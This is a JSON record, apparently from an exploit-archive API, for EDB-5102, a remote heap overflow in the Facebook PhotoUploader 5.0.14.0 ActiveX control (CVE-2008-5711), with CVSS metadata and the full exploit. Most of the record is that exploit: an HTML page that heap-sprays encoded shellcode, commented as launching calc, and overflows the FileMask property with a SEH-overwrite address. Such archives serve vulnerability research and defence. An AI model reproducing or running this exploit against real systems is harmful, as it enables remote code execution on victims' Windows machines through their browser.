{"exploit":{"id":"EDB-5102","name":"Facebook PhotoUploader 5.0.14.0 - Remote Buffer Overflow","description":"Facebook PhotoUploader 5.0.14.0 - Remote Buffer Overflow","cves":["CVE-2008-5711"],"author":"MC Group Ltd.","published":"2008-02-12","platform":"windows","type":"remote","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5102","path":"exploits/windows/remote/5102.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5102.html","vulnerabilities":[{"id":"CVE-2008-5711","state":"PUBLISHED","title":null,"titleSource":null,"description":"Heap-based buffer overflow in the Facebook PhotoUploader ActiveX control 5.0.14.0 and earlier allows remote attackers to execute arbitrary code via a long FileMask property value.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5711","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5711"},"updatedAt":"2024-08-07T11:04:43.752Z","retrievedAt":"2026-11-26T22:40:51.014Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5102.png?v=2","url":"https://exploitbin.com/exploits/EDB-5102","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5102/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5102/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<html>\n\t<head>\n\t\t<object id=\"target\" classid=\"clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0\"></object>\n\t</head>\n<body>\n<script>\n\nvar shellcode = unescape(\"%u0D0D%u0D0D%u9090%u9090\"+ //Windows Execute Command (calc)\n\"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b\"+\n\"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca\"+\n\"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b\"+\n\"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040\"+\n\"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0\"+\n\"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a\"+\n\"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063\");\n\nvar address = 0x0d0d0d0d;\nvar block_size = 0x400000;\nvar blocks = (address - block_size) / block_size;\nvar spray = unescape(\"%u0D0D%u0D0D\");\nvar tmp = unescape(\"%u0D0D%u0D0D\");\nvar tmp_size = 1044;\n\nwhile((spray.length * 2) < block_size) spray += spray;\nspray = spray.substring(0, block_size - shellcode.length);\nmemory = new Array();\nfor(i = 0; i < blocks; i++) memory[i] = spray + shellcode;\nwhile(tmp.length < (tmp_size * 2)) tmp += tmp;\ntmp = tmp.substring(0, tmp_size);\n\n\tvar size = 131;\n\tvar z = Array(size);\n\t\tfor (i=0; i<size; i++) {\n\t\t\tz[i] = unescape(\"%u0d0d%u0d0d\");\n\t\t}\n\n\tvar size = 131;\n\tvar z2 = Array(size);\n\t\tfor (i=0; i<size; i++) {\n\t\t\tz2[i] = unescape(\"%u0d0d%u0d0d\");\n\t\t}\n//' 0x629c1795\t pop esi, pop ebp, retn 14   lpk.dll NO SAFE SEH\ntarget.FileMask=z.join('') + unescape(\"%uebFF%uebFF\") + unescape(\"%u1795%u629c\") + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + tmp.substr(0,1)  // + String(2000, unescape(\"%uffff\"))\n</script>\n</HTML>\n\n# milw0rm.com [2008-02-12]","sha256":"6eef1243abb7f0e355f3f3b2a3874b6de85c6efce178f2c53a4236cdafeca4f4","bytes":1778,"fetchedAt":"2026-11-26T23:10:32.338Z","encoding":"utf-8 (display only; download retains original bytes)"}